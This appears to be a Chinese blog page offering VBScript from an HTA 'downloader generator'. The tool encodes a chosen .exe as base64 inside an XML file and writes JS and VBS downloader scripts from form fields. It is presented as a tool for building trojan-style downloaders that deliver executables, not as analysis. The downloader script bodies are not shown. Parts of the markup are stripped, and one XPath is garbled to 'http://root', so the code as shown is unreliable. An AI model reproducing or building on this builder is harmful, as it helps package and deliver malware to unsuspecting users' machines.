XMLDOM下载者生成器代码(xmldown.hta)(xml代码生成器)学会了吗

随心笔谈9个月前更新 admin
200 00
🌐 经济型:买域名、轻量云服务器、用途:游戏 网站等 《腾讯云》特点:特价机便宜 适合初学者用 点我优惠购买
🚀 拓展型:买域名、轻量云服务器、用途:游戏 网站等 《阿里云》特点:中档服务器便宜 域名备案事多 点我优惠购买
🛡️ 稳定型:买域名、轻量云服务器、用途:游戏 网站等 《西部数码》 特点:比上两家略贵但是稳定性超好事也少 点我优惠购买

文章摘要

这篇文章介绍了如何使用Microsoft.XMLDOM和WScript脚本自动生成一个下载用的XML文件,并将其保存到指定路径中。文章详细描述了生成下载工具的过程,包括生成JS和VBS版本的脚本,并提供了相关函数的代码示例。主要内容集中在自动化下载工具的生成、文件处理以及与外部脚本的交互。文章的核心内容是通过脚本实现文件的自动生成和下载功能。

ID=”xmldown”

Caption=”yes”

SCROLL=”auto”

border=”none”

borderStyle=”static”

SINGLEINSTANCE=”yes”

maximizebutton=”no”

BORDER=”no”

icon=”dxdiag.exe”>

Sub Window_onLoad

window.resizeTo screen.width/1.6,screen.height/3

window.moveTo 200,200

End Sub

Sub CreateXml(path,File)

Set objStream=CreateObject(“ADODB.Stream”)

objStream.Type=1

objStream.Open()

objStream.LoadFromFile(Path)

objStream.position=0

Set XmlDoc=CreateObject(“Microsoft.XMLDOM”)

XmlDoc.async=False

Set Root=XmlDoc.createProcessingInstruction(“xml”, “version=’1.0′ encoding=’UTF-8′”)

XmlDoc.appendChild(Root)

XmlDoc.appendChild(XmlDoc.CreateElement(“root”))

Set Xfile=XmlDoc.SelectSingleNode(“http://root”).AppendChild(XmlDoc.CreateElement(“file”))

Set Xstream=Xfile.AppendChild(XmlDoc.CreateElement(“stream”))

Xstream.SetAttribute “xmlns:dt”, “urn:schemas-microsoft-com:datatypes”

Xstream.dataType=”bin.base64″

Xstream.nodeTypedValue=objStream.Read()

XmlDoc.Save(File)

Set XmlDoc=Nothing

Set Root=Nothing

Set objStream=Nothing

End Sub

Function x(obj)

Set x=document.getElementById(obj)

End function

Function Findfile(str)

Set FSO=CreateObject(“Scripting.FileSystemObject”)

If FSO.FileExists(str) Then

findfile=true

Else

findfile=false

End If

End Function

Function jsdown()

Set FSO=CreateObject(“Scripting.FileSystemObject”)

with fso.opentextfile((CreateObject(“WScript.Shell”)).CurrentDirectory&”\jsdown.js”,2,true)

.write x(“jsdown”).value

end with

end function

Function vbsdown()

Set FSO=CreateObject(“Scripting.FileSystemObject”)

with fso.opentextfile((CreateObject(“WScript.Shell”)).CurrentDirectory&”\vbsdown.vbs”,2,true)

.write x(“vbsdown”).value

end with

end function

1.生成下载用的xml文件

选择下载的exe文件:

保存路径

2.生成下载者

© 版权声明

相关文章